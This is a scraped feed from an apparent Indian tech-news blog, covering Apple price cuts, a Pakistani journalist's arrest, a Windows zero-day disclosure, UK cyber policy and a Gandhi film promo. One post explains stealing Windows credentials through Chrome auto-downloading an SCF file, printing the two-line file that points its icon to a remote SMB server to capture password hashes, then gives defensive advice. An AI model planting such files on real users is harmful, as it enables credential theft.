6S 128 GB<span style="white-space: pre;"> </span> 60,000<span style="white-space: pre;"> </span> 55,900<span style="white-space: pre;"> </span> 48,499<span style="white-space: pre;"> </span> 55,999<br />
6S Plus 32 GB<span style="white-space: pre;"> </span>60,000<span style="white-space: pre;"> </span> 56,100<span style="white-space: pre;"> </span> 49,990<span style="white-space: pre;"> </span> NA<br />
6S Plus 128 GB<span style="white-space: pre;"> </span>70,000<span style="white-space: pre;"> </span> 65,000<span style="white-space: pre;"> </span> NA<span style="white-space: pre;"> </span> NA<br />
7 32 GB<span style="white-space: pre;"> </span> 60,000 56,100 43,824 47,699<br />
7 128 GB<span style="white-space: pre;"> </span> 70,000<span style="white-space: pre;"> </span> 65,200<span style="white-space: pre;"> </span> 57,990<span style="white-space: pre;"> </span> 68,000<br />
7 256 GB<span style="white-space: pre;"> </span> 80,000<span style="white-space: pre;"> </span> 74,400<span style="white-space: pre;"> </span> 64,990<span style="white-space: pre;"> </span> 66,999<br />
7 Plus 32 GB<span style="white-space: pre;"> </span> 72,000<span style="white-space: pre;"> </span> 67,300<span style="white-space: pre;"> </span> 56,999<span style="white-space: pre;"> </span> 61,199<br />
7 Plus 128 GB 82,000<span style="white-space: pre;"> </span> 76,200<span style="white-space: pre;"> </span> 65,200<span style="white-space: pre;"> </span> 68,000<br />
7 Plus 256 GB 92,000<span style="white-space: pre;"> </span> 85,400<span style="white-space: pre;"> </span> 84,900<span style="white-space: pre;"> </span> 95,000<br />
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iPad</h4>
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The iPad sees price cuts of around Rs 3,000, which isn’t much, but it’s still a discount. In this case, however, many of the models don’t seem to be available on e-commerce portals like Flipkart and Amazon.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv_krmZZ3bTTCMWtM_zdeVpm3uqbkhBekrEhpbBpkxIJW6VAP1bQtahXlEM-0Y7r07ugxq4tv0bCxSlWNkH70ePFrUptpL8PwZG2pcxSMGW9WCj585AWLr4kChZVVpjhQM0CrXxh1RZLMW/s1600/iphone.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ipad" border="0" data-original-height="462" data-original-width="498" height="593" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv_krmZZ3bTTCMWtM_zdeVpm3uqbkhBekrEhpbBpkxIJW6VAP1bQtahXlEM-0Y7r07ugxq4tv0bCxSlWNkH70ePFrUptpL8PwZG2pcxSMGW9WCj585AWLr4kChZVVpjhQM0CrXxh1RZLMW/s640/iphone.jpg" title="ipad" width="640" /></a></div>
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Macs<br />
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The pattern repeats itself across the board. The Macbooks, for example, see discounts of Rs 11,800, which is seen on the most expensive MacBook Pro, the 15-inch model with a 512 GB SSD. The MacBook Air sees no price cut on Apple’s site, but you can shave quite a large chunk off its MRP if you visit Flipkart or Amazon.<br />
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The Mac Mini, for whatever reason, sees its price go up by up to Rs 2,110. This doesn’t make sense because the mini is already running 3-year old hardware. The Mac Pro sees a discount of around Rs 11,000, which is nice, but this is again a device running ancient hardware.The iMacs see a smaller discount of around Rs 1,000.<br />
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Apple Watch discounts are also small, around Rs 1,000, but the Apple Watch Edition does see a discount of Rs 5,200. Then again, that watch was priced at Rs 1,10,900 to begin with, so if you can afford it, you probably don’t care about the discount.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-44259489524772514042017-07-02T11:29:00.003+05:302017-07-02T11:30:31.828+05:30Pakistan arrests a journalist under the new cyber law to combat terrorism<div dir="ltr" style="text-align: left;" trbidi="on">
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Catching Peter and letting Paul run amok: Pakistan authorities jail journo while terrorists are having free run in the country.</h2>
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Pakistan authorities have arrested a journalist under a new electronic crime law aimed at combating terrorism and preventing blasphemy but which critics say is used to suppress political dissent.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_DLWzP7Ly4fWa-M23SNVbm3Sd5u4_ves2bxuW9RIvAYi8A9DWTOR0XxfPTwW07ZqR-38-aidk7aEtr_Za5xojjx_zh4sAIODyaWWbt4v52XTIUrhbKfjXcV42qOj0Xalg2Jo523xOKkTS/s1600/hacking.jpg" imageanchor="1"><img alt="Catching Peter and letting Paul run amok: Pakistan authorities jail journo while terrorists are having free run in the country." border="0" data-original-height="1000" data-original-width="1545" height="414" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_DLWzP7Ly4fWa-M23SNVbm3Sd5u4_ves2bxuW9RIvAYi8A9DWTOR0XxfPTwW07ZqR-38-aidk7aEtr_Za5xojjx_zh4sAIODyaWWbt4v52XTIUrhbKfjXcV42qOj0Xalg2Jo523xOKkTS/s640/hacking.jpg" title="Catching Peter and letting Paul run amok: Pakistan authorities jail journo while terrorists are having free run in the country." width="640" /></a></div>
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The journalist, Zafarullah Achakzai a reporter for the Daily Qudrat newspaper, in Quetta city was produced before a magistrate on 28 June, 2017 and remanded in police custody under the cyber law, an official from the police’s Federal Investigation Agency (FIA) said.He is one of the first reporters to be charged under the electronic crime law, which was introduced in August to the objections of media freedom and human rights activists.</div>
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Achakzai’s father, Naimatullah Achakzai, said his son was detained on 25 June, 2017 by officers from the Frontier Corps, a paramilitary force in overall charge of security in Baluchistan province, of which Quetta is the capital.</div>
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“Some 50 people came to our home at 6 a.m. and kicked down the door,” Achakzai said, adding that police filed a case against his son under the cyber crime law on Wednesday.Police had shown him the filing, he said. “We weren’t allowed to talk to him or meet him,” he said, adding he believed is son was arrested over social media posts.</div>
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The elder Achakzai said he believed his son was in trouble because his social media activity.The son posted a comment on Facebook after a suicide bombing killed 13 in Quetta this month, in which he questioned why the Frontier Corps had responsibility for policing the city.Reuters was unable to reach officials at the Frontier Corps for comment. The FIA official, who declined to be identified, confirmed that the journalist had been arrested by the Frontier Corps, and then handed over to the FIA on Wednesday.</div>
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The Pakistani media watchdog Freedom Network said it was concerned about what it saw as “the authorities’ zero-tolerance for critics on social media”.“The arrest of journalist Zafarullah Achakzai is a grim reminder that more arrests will follow for the same reason in the near future,” the group said.</div>
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Authorities began cracking down on social media in May, with security officials saying that more than 200 accounts were under investigation.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-16941302955484091122017-07-01T23:44:00.001+05:302017-07-01T23:44:10.140+05:30How windows credentials can be stolen via Google Chrome<div dir="ltr" style="text-align: left;" trbidi="on">
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How Windows 7/8.1 and Windows 10 credentials can be stolen via Google Chrome</h3>
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Attacks that are designed to leak user authentication data using the SMB protocol on Windows has been an everlasting issue and though its been exploited in a number of ways, has always been restricted to local area networks. One of rare displays of research being conducted in this domain was presented by Jonathan Brossard and Hormazd Billimoria at the Black Hat security conference in 2015.</div>
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However, there have been no publicly demonstrated attacks meant to steal user credentials that utilize the SMB protocol on any other platform besides Internet Explorer and the new Edge in the past decade or so. This article gets into a theoretical area of how such an attack can be used to leak user authentication data by utilizing what is currently the world's most popular browser - Google Chrome.</div>
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On default settings, Chrome will automatically download files without prompting for a download location for files it deems safe. It will simply use the preset location. While this might not be an ideal approach from a security standpoint, it is convenient and isn't really dangerous behavior considering every downloaded file has to be run by a user manually, before it can do anything. However, what if there was a file that could run without any user interaction?</div>
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The Loophole</h2>
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A Windows Explorer Shell Command File (.scf) is a lesser known file format that has existed since Windows 98. Most Windows users came across it in Windows 98/ME/NT/2000/XP when its primary use was as a "show desktop" shortcut. It is basically a text file with a with a section that determines the command that needs to be run and an icon file location. The commands are restricted to running Windows explorer and toggling the desktop. An example of an scf file :</div>
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[Shell]<br />Command=2<br />IconFile=explorer.exe,3<br />[Taskbar]<br />Command=ToggleDesktop</blockquote>
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The icon location is resolved as soon as the file in shown in the windows explorer. Setting the icon location to an SMB server is a known attack vector that abuses the Windows automatic authentication feature when accessing services like remote file shares. The same resolution, however, also happens for a Windows LNK file. What is the difference then? Chrome forces a .download extension to the LNK file but not to the SCF file. As we have mentioned above, this will allow the file to run as well as be downloaded without user interaction.</div>
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SCF file can be used to trick Windows into an authentication attempt to a remote SMB server. Such an SCF file will require only 2 lines, viz.</div>
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[Shell]<br />IconFile=\\170.170.170.170\icon</blockquote>
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The file will therefore theoretically be able to contact the SMB server and trick the machine into an authentication request. At this point, the attacker can make the server capable of capturing the user name and password hash and use it to crack the actual password. In a different scenario, an attacker could simply divert the user connection onto a different service that is expected to accept the same user credentials such as Microsoft Exchange Services used for Outlook thereby, enabling the attacker to impersonate the user without the user having even a hint of suspicion.</div>
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At this point, we need to also mention that an SCF file will appear extension-less in Windows Explorer when viewed. For example, a file Image.jpg.scf will actually appear to be Image.jpg when viewed. Thus, its very hard for a user to notice an SCF file. Also, most anti-virus software, do not flag an SCF file as malicious, so do not expect your anti-virus to come to the aid here.</div>
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Potential Impact</h2>
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It's needless to specify what a negative impact having your credentials leaked can have. This gets even more serious when we consider than most users on Windows 8 and above use a Microsoft Account rather than a local account. This means that the same password is likely being used for all of your Microsoft services including Skype, XBox, Office 365, One Drive, etc. This can end up being a nightmare for individuals that use an Outlook account for their work emails, potentially allowing a hacker access to your corporation's data and network.</div>
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Even if the attacker manages to get just the password hash, the process of password cracking has improved in recent times. The hashcat benchmark for a single Nvidia GTX 1080 card is around 1600 MH/s. That’s 1.6 billion hashes per second. Even without doing the math, one can see that it is realistically possible for the attacker to guess your password from just the hash.</div>
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Our Recommendation</h2>
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You need to do the following steps to disable automatic downloads in Chrome. Settings -> Show advanced settings -> Check the Ask where to save each file before downloading option. Currently, all an attacker needs to do is to get the user to visit the server. It doesn't even matter if the user isn't the administrator on the machine for the attack to work. The measures that need to be taken depend on affected users network environment and range from simple host level hardening and configuring perimeter firewall rules to applying additional security measures such as SMB packet signing. As long as possible, corporates should restrict SMB data to within their networks. Hopefully, Google will patch this loophole now that it has been made public knowledge.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-6521946105756186052017-07-01T22:20:00.001+05:302017-07-03T15:54:30.843+05:30Promising Careers You Can Pursue If You Dislike Mathematics<div dir="ltr" style="text-align: left;" trbidi="on">
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<b><span style="font-size: 14.0pt; line-height: 115%;">Promising Careers You Can Pursue If You Dislike Mathematics</span></b><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaYIoJN4fKHT-nrn03X9NNjIJj_1eZlgrAyecV_nGgws08gixCLExdEj7Hk4MV5zwIwxDRYHcWYftDqQ1rOdtc9OHutgSKS8UtA5nBWNpyvDhp2zvKfqyb18cMWCsXRoF5TlVAT95dgdA0/s1600/Byjus.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Promising Careers You Can Pursue If You Dislike Mathematics" border="0" data-original-height="400" data-original-width="800" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaYIoJN4fKHT-nrn03X9NNjIJj_1eZlgrAyecV_nGgws08gixCLExdEj7Hk4MV5zwIwxDRYHcWYftDqQ1rOdtc9OHutgSKS8UtA5nBWNpyvDhp2zvKfqyb18cMWCsXRoF5TlVAT95dgdA0/s1600/Byjus.png" title="Promising Careers You Can Pursue If You Dislike Mathematics" /></a></div>
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School is a magical time in our lives. It is where we have the freedom to express our interests in the subjects we like and dislike. What you like has a compelling impact on what you do in your forthcoming life. Not everyone is interested in all of the subjects; everyone has their own set of favourite and loathed subjects. Of these, math is a subject which usually takes to the stand for not being everyone’s cup of tea. But fear not, there are plenty of other promising career options you can pursue if you dislike mathematics and don’t want to study Algebra, calculus further. Let us look into a few of those career options.</div>
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1.<span style="white-space: pre;"> </span>Medicine: </h3>
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The first and most obvious option, working in the medical industry and saving lives. Do not misinterpret Medicine just as an MBBS degree you get into after scoring well at NEET; there are plenty of other options to be working on in the medical industry. Different kinds of medicine like Homeopathy, Veterinary and Ayurveda are some of the alternative medicine methods that are making a name for themselves now. If treating people is not what you are looking for then there are plenty of other options in the medicine industry to try and make your line of work. Fields like radiology, an occupational therapist, and optometry are some other options in which you can work with doctors and help them in various ways according to your specialization.</div>
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2.<span style="white-space: pre;"> </span>Law: </h3>
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Do you have strong analytical skills, verbal skills, and a high emotional quotient? If so, then Law might be the right career direction for you. By assimilating the laws of the government and using this knowledge to help represent their clients in court and help defend their views and interests. You can further specialize your expertise in this sector by choosing your master's degree in patent law, intellectual property law, criminal law, business law, etc.</div>
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3.<span style="white-space: pre;"> </span>Media and Communication: </h3>
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This is a sector with a broad horizon of opportunities, like event management, wedding planning, photography, and journalism. Depending on your skills and interests, by attending a few courses in your interested line of work you can easily get into the sector with your work. Since it is easier to get into Media and communication sector, heftier is the competition and opportunities. So in order to be a step ahead of the competition, find out courses that are relevant to the job profile you are trying to achieve which will help you land the job easily.</div>
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4.<span style="white-space: pre;"> </span>Design and Animation: </h3>
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In this day and age, with every company going digital there is a surplus need for Graphic designers and animators. Companies working on movies, TV shows, websites and computer games need creative designers with innovative ideas to help bring their brand forward.</div>
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5.<span style="white-space: pre;"> </span>Fashion industry: </h3>
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Are you a fashionista? Do you know about what’s hip and happening in the fashion industry? Then the world of fashion should indisputably be your line of work. As a designer, you will be required to show your creative skills in creating something which is unique yet under the client’s line of interest. Once you make a name for yourself, you might be working side by side with some famous celebrities, or become one yourself.</div>
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6.<span style="white-space: pre;"> </span>Hotel Management: </h3>
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Our world is vast with a plethora of tourist destinations around the globe and abaft it will be a tourism industry. Thus, with a pleasing personality, good communication and reasoning skills you have the basic requirements to get a job in the hospitality sector. Possible positions being as a hotel manager, event organizer or even a fast food manager.</div>
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Even though there are plenty of career paths to choose from, the importance of math in our daily lives cannot be omitted. To help you in understanding how every topic of mathematics works, I would recommend you to try BYJU'S – The Learning App. The application offers detailed explanations of various mathematics topics- calculus, <a href="http://byjus.com/maths/pythoragas-theorem/" target="_blank">Pythagoras theorem</a>, <a href="http://byjus.com/maths/algebra/" target="_blank">Algebra</a> and more in the easiest of ways which can help you to do well in your exams. Try it out on their YouTube channel:<br />
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<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/-9G-UhHH7H4?list=PLKnB100k_YZlzPNGiWRIMC_Jmd_O-xggn" width="560"></iframe>
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<b><span style="background: white; font-size: 12.0pt; line-height: 115%; mso-highlight: white;">About Author:<o:p></o:p></span></b></div>
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<span style="background: white; font-size: 12.0pt; line-height: 115%; mso-highlight: white;">Basil C Baby is an Engineer and Blogger with impending knowledge in several sectors of the economy. Currently working with Think & Learn Pvt. Ltd. in helping students to come fall in love with learning.<o:p></o:p></span></div>
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<b><span style="background: white; font-size: 12.0pt; line-height: 115%; mso-highlight: white;">Email:</span></b><span style="background: white; font-size: 12.0pt; line-height: 115%; mso-highlight: white;"> basil.baby@byjus.com<o:p></o:p></span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-65356047704043218292016-11-04T22:11:00.000+05:302016-11-04T22:11:06.462+05:30iOS devices can now be hacked by opening a JPG or JPEG image<div dir="ltr" style="text-align: left;" trbidi="on">
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Your iPhone or iPad can be hacked when opening JPEG/JPG images</h2>
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Apple products are rarely targeted by hackers as they are believed not as easy to crack as compare to other operating systems like Windows or Android. Well, you may want to think again! iOS devices are now not only just hackable, but also easier to hack.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBV_gx1Q12vmytMrIJ4sAuwbX9GKn4juaDF00F0mHgOzu7q0wdLSQkK2wk6-9QVi1RFciCr1S54gOvvgxHBarDNTnANgt03AIRLyce1CqEeMCVTcdk9h5T2mv3XNfMeZnXZUAPqlCBfijX/s1600/image+hack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Your iPhone or iPad can be hacked when opening JPEG/JPG images" border="0" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBV_gx1Q12vmytMrIJ4sAuwbX9GKn4juaDF00F0mHgOzu7q0wdLSQkK2wk6-9QVi1RFciCr1S54gOvvgxHBarDNTnANgt03AIRLyce1CqEeMCVTcdk9h5T2mv3XNfMeZnXZUAPqlCBfijX/s640/image+hack.jpg" title="Your iPhone or iPad can be hacked when opening JPEG/JPG images" width="640" /></a></div>
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According to The Hacker News (via Cult of Mac), iOS devices can now be hacked simply by opening a JPEG file. So, how does this work? All the hacker needs to do is trick iOS users to view a malicious JPEG graphic or PDF file through a website or an email, which could allow them to execute malevolent code on your system. Once opened, the hacker is able to execute malicious code that could allow him to take full control of your device.</div>
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Thankfully, the company rolled out a security patch on Monday that was rectified with the iOS 10.1 update that addressed the issue alongside other bugs. The newest iOS 10.1 also includes other security updates that address 11 security flaws in the firmware for the iPhone, iPad, and iPod Touch. The list of vulnerabilities fixed with the iOS 10.1 release includes local code execution vulnerability, a vulnerability in contacts (CVE-2016-4686), a remote code execution flaw in WebKit (CVE-2016-4677).</div>
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However, earlier versions of iOS still carry the vulnerability, which is labeled CVE-2016-4673. If your devices are running older versions of iOS, you are advised to update your mobile devices to iOS 10.1 as soon as possible.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com4tag:blogger.com,1999:blog-1778979857251896130.post-86491318323898134502016-11-04T21:03:00.000+05:302016-11-04T21:03:15.047+05:30Google discloses serious Windows 10 vulnerability just 10 days after reporting it to Microsoft<div dir="ltr" style="text-align: left;" trbidi="on">
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Google reveals actively exploited Windows vulnerability, but no patch as of yet from Microsoft</h2>
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Just 10 days since discovery, Google's Threat Analysis Group has released details about Windows zero-day vulnerability. This disclosure has left millions of Windows users at risk, as Microsoft has yet to patch the vulnerability.<br />
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Google had found out two actively exploited vulnerabilities in Adobe and Microsoft. According to Google’s internal policy, which states that companies should fix or publicly report flaws that are under attack after seven days, the vulnerabilities were revealed to the relevant vendors. Google said that Adobe has already fixed its bug, but that Microsoft hasn’t released an advisory or fix yet for the patch.<br />
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“We believe in coordinated vulnerability disclosure, and today’s disclosure by Google puts customers at potential risk. Windows is the only platform with a customer commitment to investigate reported security issues and proactively update impacted devices as soon as possible,” a Microsoft spokesperson told Threatpost. “We recommend customers use Windows 10 and the Microsoft Edge browser for the best protection.”<br />
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According to Google’s disclosure policy, the vendors have 60 days to patch critical vulnerabilities, or notify users about the risk and any workarounds or temporary mitigations. Published in 2013, the policy included the seven-day deadline on critical flaws under active exploitation. “The reason for this special designation is that each day an actively exploited vulnerability remains undisclosed to the public and unpatched, more computers will be compromised,” Google said at the time.<br />
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“Seven days is an aggressive timeline and may be too short for some vendors to update their products, but it should be enough time to publish advice about possible mitigations, such as temporarily disabling a service, restricting access, or contacting the vendor for more information.”<br />
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This is not the first time that Google has made such information public prior to the availability of a fix. Two years ago, the company reported about an unpatched Windows 8.1 security flaw and was later criticized by Microsoft for disclosing details about another Windows 8.1 vulnerability before it was patched.<br />
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Google's data has shown that Windows 10 vulnerability is being actively exploited and it is "particularly serious.” The details of the vulnerability are as follows:<br />
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The Windows vulnerability is a local privilege escalation in the Windows kernel that can be used as a security sandbox escape. It can be triggered via the win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD. Chrome's sandbox blocks win32k.sys system calls using the Win32k lockdown mitigation on Windows 10, which prevents exploitation of this sandbox escape vulnerability.<br />
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Google’s Threat Analysis Group said they disclosed the vulnerability to Microsoft on October 21 for which Microsoft has not yet published a security advisory or a patch. It has been ten days since it was privately disclosed by Google. Hopefully, Microsoft will release a fix for this vulnerability via Windows Update soon before it becomes a big problem for the software giant.</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-5771582780103718002016-11-04T20:15:00.001+05:302016-11-04T20:15:43.190+05:30Alyssa Milano’s Anonymous-inspired graphic novel set to become a TV show<div dir="ltr" style="text-align: left;" trbidi="on">
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Anonymous inspired Alyssa Milano’s Hacktivist Being Developed Into A TV Show</h2>
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Alyssa Milano’s 2014 graphic novel ‘Hacktivist’ is being adapted for a CW television series by the creators of Covert Affairs. Milano, who is an actress and has appeared in feature films and network TV shows, entered the comic industry in 2014 by creating the fast-paced cyber-thriller graphic novel Hacktivist. The book was written by Jack Lanzing and Colin Kelly, drawn by Marcus To and published by BOOM! Studios.</div>
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Hacktivist features two lead characters, Nate Graft and Ed Hiccox, the co-founders of a popular social networking company who are recruited to work secretly for the CIA to bring about global social change. Using their fame and access as cover, and their technical prowess as a tool, Nate & Ed pull off risky missions, both foreign and domestic. Inspired by popular hacktivist group Anonymous, these fictional characters are also hackers by night. However, Nate and Ed have a deep hunger for information freedom that goes against the beliefs of the CIA. The comic also has a protagonist that was modeled on Twitter co-founder Jack Dorsey, while the fictional company is based on the real-life social media giant.</div>
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Speaking to the Daily Dot in an earlier interview, Milano revealed how the idea came about.</div>
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“I became obsessed with the role of the media, and how it was being used as a tool for protest. At the same time, Anonymous was using hacking skills to empower people. And I thought, ‘What if Anonymous wasn’t a group but one person?’ And that spiraled into, ‘What if Anonymous was one guy? What characteristics would he have?’ He’d have to be socially aware, a coder, have access, be compassionate.”</div>
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Anonymous has indisputably made its mark in the mainstream consciousness. The critical and commercial success of TV shows like Mr. Robot see its fundamental premise in hacker activism and the new TV adaption of ‘Hacktivist’ – directly influenced by Anonymous – will only further spread the loosely-associated international hacktivist network.</div>
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While Milano isn't expected to star in the dramatic series, she will serve as executive producer with Covert Affairs creators/executive producers Matt Corman and Chris Ord, BOOM! Studios and CBS TV Studios. As of yet, no launch date has been provided for the show.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-90371785961547482522016-11-04T20:01:00.002+05:302016-11-04T20:01:18.723+05:30British Chancellor warns that hackers could plunge United Kingdom into darkness by hacking the electric grid<div dir="ltr" style="text-align: left;" trbidi="on">
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Philip Hammond, Chancellor of the Exchequer warns Britain could be plunged into darkness by enemy hackers</h2>
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Philip Hammond warned cyber-attacks could plunge Britain’s cities into “darkness” and ground aeroplanes using cyber-attacks.</div>
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Speaking in the midst of warnings about Russian-backed hacking, the chancellor told enemies that Britain would “retaliate in kind” to attacks, describing this as “the best deterrent”.</div>
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“There is no doubt in my mind that the precursor to any future state-on-state conflict would be a campaign of escalating cyber-attacks, to break down our defences and test our resolve before the first shot is fired,” Hammond said. “Kinetic attacks carry huge risk of retaliation and may breach international law.</div>
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Setting out the most detailed analysis yet of the dangers of computer warfare, Hammond in a keynote speech in London disclosed that “critical national infrastructure” was in danger.</div>
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The former defence secretary said that Britain’s response to the threat had to match the physical deterrent value of the armed forces.</div>
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“But in cyber space those who want to harm us appear to think they can act both scalably and deniably. It is our duty to demonstrate that they cannot act with impunity.</div>
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“So we will not only defend ourselves in cyberspace; we will strike back in kind when we are attacked.”</div>
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Describing the National Cyber Security Strategy in London, Hammond said: “If we do not have the ability to respond in cyberspace to an attack which takes down our power networks, leaving us in darkness, or hits our air traffic control system, grounding our aircraft, we would be left with the impossible choice of turning the other cheek and ignoring the devastating consequences, or resorting to a military response.” He said “That is a choice we do not want to face and a choice we do not want to leave as a legacy to our successors.”</div>
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He added: “A small number of hostile foreign actors have developed and deployed offensive cyber capabilities, including destructive ones. These capabilities threaten the security of the UK’s critical national infrastructure and industrial control systems.”</div>
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While the Chancellor did not name a country, but his comments came after Russia was blamed for a series of cyber-attacks and the hacking of emails to influence the U.S. presidential election.</div>
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He also appealed to business leaders to take more responsibility for securing systems and designing products that could withstand hacking.</div>
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The government has pledged to invest £1.9 billion in boosting the UK's cybersecurity defences and to develop cyber-attack capabilities that would allow it to fight back if struck by a foreign adversary. The new cash will fund a five-year strategy, and effectively doubles existing spending on cyber defence.</div>
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“Hopefully this new government spend will resonate with UK boardrooms and show the importance of having a robust security program in place with everyone from the CEO, CFO and CTO, ensuring they are educated to the risks and understand the importance of having strong enterprise grade security measures in place.</div>
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"Businesses should not rely on one security supplier when trusting them to protect their business. Instead, businesses should build its resilience through multiple layers of firewalls, encryption and good security software providers so that if one is compromised, the others are all in place and maintaining that high level of protection.”</div>
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There is also concern about the development of the 'internet of things', which allows smart devices in everyday items to be operated remotely.</div>
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A source said: “Old legacy IT systems used by many organisations in the UK, and the readily available suite of user-friendly hacking tools mean everyone from the living room to the boardroom is exposed to malicious hackers.”</div>
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The new cash is expected to fund the creation of a new Cyber Security Research Unit to find ways of improving security on smartphones, laptops and tablets.</div>
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A source said: “We will take the fight to those who threaten Britain in cyber-space and relentlessly pursue anyone who persists in attacking us.</div>
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“This will be done in part through strengthening our law enforcement capabilities to raise the cost of cyber-crime, building international partnerships and being clear that the UK will defend itself in cyberspace and strike back against those that try to harm our country.”</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-11398393869578092822016-08-13T10:22:00.002+05:302016-08-13T10:22:52.307+05:30Zee Classic to premiere ‘Gandhi', this Saturday, on 13th August at 8 PM and on Monday, 15th August at 9:30 AM<div dir="ltr" style="text-align: left;" trbidi="on">
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<b><u><span lang="EN-US" style="font-size: 16.0pt;">If ‘Gandhi’ was made in 2016…</span></u></b></div>
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<span lang="EN-US">India is at unique crossroads with history. We will be celebrating our Independence Day on 15th August, yet something doesn't feel right! There is a subaltern war going on between pseudo liberals and pseudo-nationalists, with both of them trying to claim the idea of India as their own.</span></div>
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<span lang="EN-US">But is India really their hegemony. If we look at our history, we find that people from different walks of life came together to fight the British Raj and get rid the shackles of 200 years of virtual imprisonment we faced.</span></div>
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<span lang="EN-US">Prominent among them was Gandhi, who should like a colossus among all other freedom fighters of those times. Richard Attenborough gave us the classic Gandhi in 1982 so that we the millennials could understand who the Mahatma really was. </span></div>
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<span lang="EN-US">What would happen if the cult classic Gandhi were made today? </span><span style="font-weight: inherit; line-height: 1.1;">Zee Classic is India's only Hindi movie channel that endeavors to recreate the magic of iconic classics and new age cinema by showcasing not just the films that shaped Indian cinema but also acquaint viewers with the creative talent who were a part of that timeless era</span><b style="line-height: 1.1;">. In order to mark the occasion of India’s 70<sup>th </sup>year of independence</b><span style="font-weight: inherit; line-height: 1.1;">, </span><b style="line-height: 1.1;"><i>Zee Classic premieres</i></b></div>
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<span lang="EN-US">One of the most iconic films of all times,<b> Gandhi (1982)</b> was produced and directed by <b><i>Richard Attenborough and written by John Briley. Starring Ben Kingsley, Rohini Hattangadi, Edward Fox, Roshan Seth</i></b>, amongst others. The story is that of an Indian lawyer who returned from racially segregated South Africa to drive the British out of his home country through successive acts of non-violent protest. The portrayal of how simplicity and the power collectivism can throw over a whole British empire bringing them to their knees.</span></div>
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<span lang="EN-US">As Zee Classic gears up to premiere <b><i>‘Gandhi', this Saturday, on 13<sup>th</sup> August at 8 PM in ‘India’s Finest Films’ and on Monday, 15<sup>th</sup> August at 9:30 AM, </i></b><i>we wonder who would be a part of this classic if it was to be re-made in 2016!</i></span></div>
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<b><u><span lang="EN-US" style="font-size: 14.0pt;">Director</span></u></b></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz6z5U3yDKaIfx4syg0KVR0th9ss2QnBExPuTHR29vC85HYbOyFC3M8WrcmzuduJAVQQQAstkNM2IQBZZJokxYjbWX6vkQks4Fkb8zu1Y90ga8xlleSZvEhHj38Ypwtel_epCBw-PhH8iH/s1600/Zee+1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Gandhi" border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz6z5U3yDKaIfx4syg0KVR0th9ss2QnBExPuTHR29vC85HYbOyFC3M8WrcmzuduJAVQQQAstkNM2IQBZZJokxYjbWX6vkQks4Fkb8zu1Y90ga8xlleSZvEhHj38Ypwtel_epCBw-PhH8iH/s400/Zee+1.jpg" title="Gandhi" width="400" /></a></div>
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<b><i><span lang="EN-US">1982 : Sir Richard Attenborough</span></i></b><span lang="EN-US"> had the ability and talent to accommodate a person’s entire lifespan in a couple of hours. He did a phenomenal job right from the research to bringing alive the legacy of the father of our nation on big screen. </span></div>
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<b><i><span lang="EN-US">2016: Ashutosh Gowarikar k</span></i></b><span lang="EN-US">nown for his love for historical films and bringing lost eras to life with <i>Lagaan, Jodha Akbar and Swadesh</i>, is undoubtedly our choice to direct this film today.</span></div>
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<b><u><span lang="EN-US" style="font-size: 14.0pt;">Mahatma Gandhi</span></u></b></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS1iQnfh1Riq4gC-eq-QH4t0gbTyMduekVZVHV9M-OBkJSGnVlnD2OgqEbx3eDC05gexbIoVhoE1zYM2x5dkXUv-7bGke2AcmDCuU08BnE4btOEJv0kP5ZleFfAMyRjfrm6QXEL3kaaBbR/s1600/zee+2.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Gandhi" border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS1iQnfh1Riq4gC-eq-QH4t0gbTyMduekVZVHV9M-OBkJSGnVlnD2OgqEbx3eDC05gexbIoVhoE1zYM2x5dkXUv-7bGke2AcmDCuU08BnE4btOEJv0kP5ZleFfAMyRjfrm6QXEL3kaaBbR/s400/zee+2.jpg" title="Gandhi" width="400" /></a></div>
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<b><i><span lang="EN-US">1982: Ben Kingsley</span></i></b><span lang="EN-US"> played the role of Mahatma Gandhi in the movie. </span></div>
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<b><i><span lang="EN-US">2016: </span></i></b><span lang="EN-US">Mr. Perfectionist <b><i>Aamir Khan</i></b> is the man for the job. Known for his chameleon skills to adapt to various roles and characters combined with his attention to detail, Aamir Khan should play the role of our beloved <i>Baapu.</i></span></div>
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<b><u><span lang="EN-US" style="font-size: 14.0pt;">Kasturba Gandhi</span></u></b></div>
